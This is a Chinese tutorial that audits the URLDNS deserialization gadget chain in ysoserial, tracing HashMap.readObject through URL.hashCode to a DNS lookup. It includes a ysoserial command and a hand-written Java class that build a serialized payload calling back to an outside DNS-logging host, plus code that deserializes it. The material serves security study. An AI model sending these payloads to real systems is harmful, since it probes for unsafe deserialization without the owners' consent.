ysoserial中的URLDNS利用链代码审计
一.避坑
我使用了jdk1.8的版本,因为在使用jdk1.7版本的时候出现了如下报错
java: 程序包sun.rmi.server不存在
之后问chatgpt
之后我发现不知为什么我的jdk1.7里面没有rt.jar,所以我换成了jdk1.8
二.环境搭建
1.下载源码
https://github.com/frohoff/ysoserial
2.新建项目
3.点击next
4.点击next
5.导入源码
6.点击Add Configuration
7.配置执行的命令
8.点击右下角的load maven package
9.运行
成功会是这样的
三.正式审计
java反序列化利用
1.入口类重写了readObject方法
2.入口类可传入任意对象
3.执行类可被利用执行危险函数
链子
进入HashMap
HashMap->readObject()->hash()->hashCode()
进入URL
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
最终getByName()是可利用的危险函数
先从GeneratePayload打断点,调试
然后进入了URLDNS.java里
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
继续按F7单步调试,发现HashMap,URL,这些都跳过去了,说明这是java的内部类
选中ht前面的HashMap,按ctrl+鼠标左键进入类
发现重写了readobject方法
关键点在这个位置,发现有putVal和hash,重点在hash
选中hash,ctrl+鼠标左键进入
发现hashCode
很多类里面都会使用hashCode,现在目的是找到一个调用了hashCode的类,但是这个类调用的hashCode直接或间接执行了危险函数
看URL类
进入,在URL.java里面也发现了个hashCode
进入handler的hashCode
进入了URLStreamHandler.java里
进入getHostAddress()
最终发现这里会发生一次dns查询
四.工具使用
1.java -jar ysoserial-all.jar URLDNS "http://x7f9c7.ceye.io" > urldns.txt
创建新的URLDNS.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class URLDNS{
public static void main(String[] args) throws Exception{
FileInputStream fis = new FileInputStream("urldns.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
}
javac URLDNS.java
java URLDNS
2.
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class EXPURLDNS{
public static void main(String[] args) throws Exception{
HashMap h = new HashMap();
URL u = new URL("http://x7f9c7.ceye.io");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//为了防止在serialize的时候就产生了url请求
f.set(u,1);
h.put(u,1);
f.set(u,-1);
//生成文件
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("urldns.txt"));
oos.writeObject(h);
}
}
五.参考文章
https://www.cnblogs.com/z2n3/p/17168835.html
https://blog.csdn.net/qq_35733751/article/details/120174814